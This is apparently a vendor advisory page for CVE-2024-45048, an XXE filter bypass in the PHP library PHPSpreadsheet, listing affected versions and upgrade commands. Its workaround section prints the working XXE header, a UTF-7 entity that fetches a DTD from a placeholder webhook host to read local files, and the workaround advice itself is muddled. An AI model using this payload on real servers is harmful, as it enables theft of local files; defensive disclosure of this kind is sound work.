XXE Vulnerability in PHPSpreadsheet
Summary
CVE-2024-45048: XXE in PHPSpreadsheet encoding is returned. Affects phpoffice/phpspreadsheet across 3 version ranges.
< 1.29.1
>= 2.0.0, < 2.1.1
>= 2.2.0, < 2.2.1
Fixed in 1.29.1, 2.1.1 or 2.2.1, depending on the release line you run. How to fix ↓
Check if this vulnerability affects your application
Upload a manifest or SBOM and we'll show whether you're affected, plus every other risky package in the same scan.
No signup required · Results in about 60 seconds
Background
PHPSpreadsheet is a popular open-source library for reading and writing spreadsheet files in PHP. It provides a wide range of functionality for manipulating Excel files. However, a vulnerability has been discovered in PHPSpreadsheet that allows for XML External Entity (XXE) attacks. This vulnerability can be exploited to read local files, even if error reporting is muted. The vulnerability exists in versions 0.0.1 to 2.2.0 of the library.
Vulnerability Detail
The vulnerability in PHPSpreadsheet is due to a bypass in the filter used to prevent XXE attacks. By using a single quote symbol in the encoding attribute of an XML file, an attacker can bypass the filter and execute XXE attacks. This allows them to obtain the contents of local files, even if error reporting is muted. The vulnerability can be exploited by adding a specific XML header to an XLSX file, such as the sharedStrings.xml file. When this file is opened using PHPSpreadsheet, the XXE attack is triggered. The impact of this vulnerability is the ability to read sensitive local files.
How To Fix
Fixed versions by release line
The minimum fixed version depends on the release line you run.
-
< 1.29.11.29.1composer require phpoffice/phpspreadsheet:1.29.1 -
>= 2.0.0, < 2.1.12.1.1composer require phpoffice/phpspreadsheet:2.1.1 -
>= 2.2.0, < 2.2.12.2.1composer require phpoffice/phpspreadsheet:2.2.1
Tip — Not sure which release line you're on? Vulert can find the fix for the version you are using. Scan free →
Workaround
If you are unable to immediately upgrade to a fixed version of PHPSpreadsheet, you can apply a workaround to mitigate the vulnerability. One possible workaround is to manually modify the sharedStrings.xml file in the XLSX file and remove the vulnerable XML header. This can be done by following these steps:
- Rename the XLSX file to .zip and extract its contents.
- Open the extracted
xl/sharedStrings.xmlfile in a text editor. - Remove the vulnerable XML header
<?xml version="1.0" encoding='UTF-7' standalone="yes"?> +ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://%webhook%/file.dtd"> %xxe;]>. - Save the modified
sharedStrings.xmlfile. - Rename the .zip file back to .xlsx.
By removing the vulnerable XML header, the XXE attack will no longer be triggered when the file is opened using PHPSpreadsheet.
Conclusion
The XXE vulnerability in PHPSpreadsheet allows for the execution of XXE attacks, which can be used to read sensitive local files. It is important to upgrade to a fixed version of PHPSpreadsheet to mitigate this vulnerability. If immediate upgrading is not possible, applying the provided workaround can help mitigate the risk. Regularly monitoring for updates and applying security patches is crucial to ensure the security of your applications.
See every vulnerability recorded for phpoffice/phpspreadsheet →
FAQ
PHPSpreadsheet is an open-source PHP library for reading and writing spreadsheet files, including Excel files. It provides a wide range of functionality for manipulating spreadsheet data.
An XML External Entity (XXE) attack is a type of attack that exploits vulnerabilities in XML parsers. It allows an attacker to read local files or execute arbitrary code by including external entities in XML input.
The XXE vulnerability in PHPSpreadsheet is due to a bypass in the filter used to prevent XXE attacks. By using a single quote symbol in the encoding attribute of an XML file, an attacker can bypass the filter and execute XXE attacks.
The impact of this vulnerability is the ability to read sensitive local files. An attacker can exploit the vulnerability to obtain the contents of local files, even if error reporting is muted.
To fix the vulnerability, it is recommended to upgrade to version 2.2.1 or later of PHPSpreadsheet. This version includes a fix for the XXE vulnerability.
References
Related vulnerabilities
Recent vulnerabilities recorded for phpoffice/phpspreadsheet.
